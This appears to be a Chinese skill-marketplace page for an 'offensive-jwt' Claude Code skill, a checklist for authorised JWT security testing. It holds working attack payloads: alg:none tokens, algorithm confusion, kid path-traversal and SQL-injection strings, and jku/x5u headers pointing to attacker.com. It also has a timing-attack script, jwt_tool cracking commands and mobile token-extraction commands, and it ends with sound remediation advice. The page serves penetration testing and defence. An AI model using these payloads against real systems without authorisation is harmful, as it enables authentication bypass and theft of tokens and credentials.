mcpField
O
offensive-jwt

offensive-jwt

github.com/snailsploit安全9.7k205 次安装2 周前更新
代码仓库

关于 offensive-jwt

offensive-jwt 是用于授权安全测试的 JWT 检查清单,涵盖令牌发现、验证与密钥处理测试、移动端存储检查及修复建议。

主要功能

  1. 01JWT 发现与声明检查
  2. 02算法及签名验证测试
  3. 03请求头与密钥加载攻击检查
  4. 04移动端令牌存储审查
  5. 05JWT_Tool 自动化测试指引
  6. 06令牌验证修复建议

适用场景

  1. 01审计 Web API 的 JWT 身份验证
  2. 02测试算法混淆与弱密钥
  3. 03检查移动应用中的令牌存储
  4. 04核查声明验证和令牌暴露

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-jwt

安装后在 Claude Code 中输入/offensive-jwt确认已加载。

详细介绍

概述

面向进攻性安全测试的全面 JWT 攻击检查清单。按顺序执行步骤;针对当前目标环境应用每种技术,并跟踪已完成的项目。

快速参考:需要检查的错误配置

  • 算法设为 none — 完全绕过签名验证
  • 算法在 RSA 和 HMAC 之间切换(混淆攻击)
  • HMAC 密钥较弱或容易猜测(可通过暴力破解)
  • 接受 kid、jku、jwk、x5u 标头参数而不进行验证
  • 服务器接受已过期或遭篡改的令牌
  • 负载中存储了未加密的敏感数据

实用工具:JWT Tool

机制

JWT(RFC 7519)由三个经过 Base64URL 编码的部分组成:header.payload.signature。

签名算法:

算法类型说明
HS256/384/512对称 HMAC共享密钥;混淆攻击目标
RS256/384/512非对称 RSA公钥可能被滥用为 HMAC 密钥
ES256/384/512非对称 ECDSA
PS256/384/512RSASSA-PSS
EdDSA (Ed25519/Ed448)非对称
none无签名极不安全

其他陷阱:

  • JWS/JWE 混淆:服务器在预期接收已签名令牌(JWS)时接受加密令牌(JWE),或在遇到意外的 typ/cty 时默认放行
  • JWKS 获取:通过 jku/x5u 触发 SSRF、TLS 不安全、密钥缓存遭投毒、kid 冲突
  • 令牌绑定(DPoP、mTLS):实现不当会允许从其他客户端重放令牌

探查:识别 JWT 用法

  1. 检查所有请求中的 Authorization: Bearer <token> 标头
  2. 查找包含 JWT 结构(eyJ...)的 Cookie
  3. 检查浏览器的本地存储/会话存储
  4. 在 jwt.io 或通过 BurpSuite JWT 扩展解码令牌 — 检查声明和标头参数
  5. 注意标头中的任何 kid、jku、jwk、x5u 字段 — 这些都是攻击面

漏洞图谱

JWT Vulnerabilities
├── Algorithm Bypass
│   ├── alg:none attack
│   └── RS256→HS256 confusion (public key as HMAC secret)
├── Weak Secret Key → Brute force
├── kid Parameter Injection
│   ├── SQL injection via kid
│   └── Path traversal via kid
├── Header Injection
│   ├── jwk (inline fake key)
│   ├── jku/x5u (remote attacker-controlled JWKS)
│   └── JWKS cache poisoning
└── Missing / Broken Validation
    ├── No signature check
    ├── Expired tokens accepted
    └── iss/aud/exp not validated

漏洞

算法漏洞
  • alg:none — 当 alg 为 none 或其大小写变体(None、NONE、nOnE)时,某些库会禁用签名验证
  • 算法混淆(RS256→HS256) — 攻击者将 alg 切换为 HS256 后,服务器会将 RSA 公钥用作 HMAC 密钥;攻击者使用该公钥重新签署令牌
  • 密钥 ID(kid)操纵 — 利用 kid 加载错误密钥或注入文件路径/SQL;应强制执行严格查找
签名漏洞
  • HMAC 密钥较弱 — 可通过字典攻击或 hashcat 暴力破解
  • 缺少签名验证 — 未经任何验证就接受令牌
  • 验证失效 — 签名检查逻辑中的实现错误
实现问题
  • 缺少声明验证 — 未验证 exp、nbf、aud、iss
  • 熵不足 — JWT ID 或令牌可预测
  • 无过期时间 — 令牌永久有效
  • 传输不安全 — 令牌通过 HTTP 发送
  • 调试信息泄露 — 详细的错误消息暴露实现细节
标头注入攻击
  • JWK 注入 — 通过 jwk 标头提供由攻击者控制的自定义公钥
  • JKU 操纵 — 将 jku(JWK 集合 URL)指向攻击者控制的 JWKS 端点
  • x5u 滥用 — 加载不可信的 X.509 密钥 URL;利用宽松的 TLS 验证或开放重定向
  • JWKS 缓存投毒 — 通过 kid 冲突或响应标头操纵,迫使缓存接受攻击者的密钥
  • crit 标头滥用 — 服务器忽略未知的关键参数,从而实现绕过
信息泄露
  • 负载中存储了未加密的敏感数据(个人身份信息、凭据、会话详情)
  • 声明中泄露内部服务/后端信息

其他攻击向量

移动应用 JWT 存储

Android:

  • SharedPreferences:检查是否可被全局读取;位置为 /data/data/<package>/shared_prefs/
  • 提取 Keystore:使用已 root 的设备或利用应用漏洞
  • 提取备份:adb backup -f backup.ab <package>(如果 allowBackup=true)
  • 工具:Frida、objection、MobSF

iOS:

  • Keychain:检查 kSecAttrAccessible —— kSecAttrAccessibleAlways 不安全
  • 提取 iTunes/iCloud 备份:未加密的备份会暴露 Keychain
  • 越狱 + Keychain-Dumper 可完整提取
  • 工具:Frida、objection、idb

React Native / Hybrid:

  • AsyncStorage 以纯文本形式存储(Android SQLite DB、iOS plist);默认不加密
# Android — check SharedPreferences
adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml"

# iOS — extract from backup
idevicebackup2 backup --full /path/to/backup
# Use plist/sqlite tools to extract JWT
JWT 混淆攻击
  • SAML-JWT 混淆 —— 应用同时接受 SAML 和 JWT;在预期接收 SAML 时发送 JWT,反之亦然,以利用验证较弱的路径
  • API Key-JWT 混淆 —— 测试在预期接收 API key 时发送 JWT,反之亦然
  • 会话 Cookie-JWT 混合 —— 测试使用有效会话 Cookie 搭配已过期的 JWT;将 JWT 声明注入会话
  • OAuth 令牌混淆 —— 向预期接收不透明访问令牌的资源服务器发送 ID 令牌(JWT)
# Try API key where JWT expected
curl -H "Authorization: Bearer <api_key>" https://api.target/resource

# Try JWT where API key expected
curl -H "X-API-Key: <jwt_token>" https://api.target/resource
HMAC 上的时序攻击

非恒定时间比较会通过响应时间差异逐个泄露 HMAC 密钥字符。

import requests, time

def time_request(signature):
    start = time.perf_counter()
    r = requests.get('https://target/api',
                     headers={'Authorization': f'Bearer header.payload.{signature}'})
    return time.perf_counter() - start

# Brute-force first byte — longer response time indicates correct byte
for byte in range(256):
    sig = bytes([byte]) + b'\x00' * 31
    t = time_request(sig.hex())
URL 参数中的 JWT
  • GET URL 中的令牌会出现在服务器日志、代理日志和浏览器历史记录中
  • 令牌会通过 Referer 标头泄露给外部站点;CDN/缓存日志也可能会持久保存令牌
curl "https://api.target/resource?token=eyJ..."
curl "https://api.target/resource?access_token=eyJ..."
curl "https://api.target/resource?jwt=eyJ..."

检查 Wayback Machine 中是否有包含令牌的历史 URL;监控发送到第三方分析服务的 Referer 标头。

手动测试步骤

  1. 解码并检查:

    base64url_decode(header) . base64url_decode(payload) . signature
    
  2. 测试 none 算法(尝试所有大小写变体):

    {"alg":"none","typ":"JWT"}.payload.""
    {"alg":"None","typ":"JWT"}.payload.""
    {"alg":"NONE","typ":"JWT"}.payload.""
    {"alg":"nOnE","typ":"JWT"}.payload.""
    
  3. 算法混淆(RS256→HS256):

    # Re-sign with RSA public key used as HMAC secret
    {"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload.<re-signed-with-public-key-as-secret>
    
  4. kid 参数攻击:

    {"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"}
    {"alg":"HS256","typ":"JWT","kid":"file:///dev/null"}
    {"alg":"HS256","typ":"JWT","kid":"' OR 1=1 --"}
    
  5. JWK/JKU 注入:

    {"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","kid":"attacker-key","n":"..."}}
    {"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"}
    
  6. x5u / crit 处理:

    {"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"}
    {"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null}
    
  7. 暴力破解 HMAC 密钥:

    python3 jwt_tool.py <token> -C -d wordlist.txt
    
  8. 测试缺失声明的验证:

    • 移除或修改 exp(过期时间)
    • 更改 iss(签发者)或 aud(受众)
    • 修改 iat(签发时间)或 nbf(生效时间)

使用 JWT_Tool 进行自动化测试

# Basic token inspection
python3 jwt_tool.py <token>

# Full vulnerability scan
python3 jwt_tool.py <token> -M all

# Targeted attacks
python3 jwt_tool.py <token> -X a     # Algorithm confusion
python3 jwt_tool.py <token> -X n     # Null/none signature
python3 jwt_tool.py <token> -X i     # Identity theft
python3 jwt_tool.py <token> -X k     # Key confusion

# Crack HMAC secret
python3 jwt_tool.py <token> -C -d wordlist.txt

其他工具:

  • JWT.io —— 基础令牌检查和调试
  • Burp Suite JWT Scanner / JWT Editor 扩展 —— 自动化测试和令牌编辑
  • jwtXploiter —— 高级 JWT 漏洞扫描
  • c-jwt-cracker —— 高速 HMAC 暴力破解(C 实现)
  • Frida、objection、MobSF —— 移动端 JWT 提取

修复建议

  • 使用短期访问令牌;频繁轮换刷新令牌
  • 始终验证 aud(受众)和 iss(签发者)声明
  • 禁用 none 算法;防止算法降级;按客户端/签发者固定 alg
  • 确保用于验证的密钥材料与 alg 匹配;拒绝不匹配的情况
  • 拒绝包含未知 crit 标头参数的令牌
  • 通过固定的 TLS 验证 JWKS;除受信任的域名外,禁止使用远程 jku/x5u;采用短 TTL 的密钥缓存,并确保 kid 唯一
  • 强制限制令牌的最大长度;除非必要,否则禁用 JWE 压缩
  • 维护以 jti 为键的服务器端拒绝列表,以便提前撤销
  • 对于 DPoP 令牌(typ:"dpop+jwt"):验证证明是否绑定到 HTTP 请求;强制 nonce 只能使用一次
  • 尽可能将会话绑定到设备;每次使用后轮换刷新令牌
  • Web 场景优先使用 SameSite=Lax/Strict 的 HttpOnly Cookie;避免将访问令牌存储在 localStorage 中

替代方案与现代缓解措施

  • PASETO —— 完全移除算法协商;消除混淆攻击
  • Macaroons —— 支持基于限制条件逐步委派的持有者令牌
  • DPoP 和 mTLS —— 将令牌绑定到客户端,防止重放

评论

支持 Markdown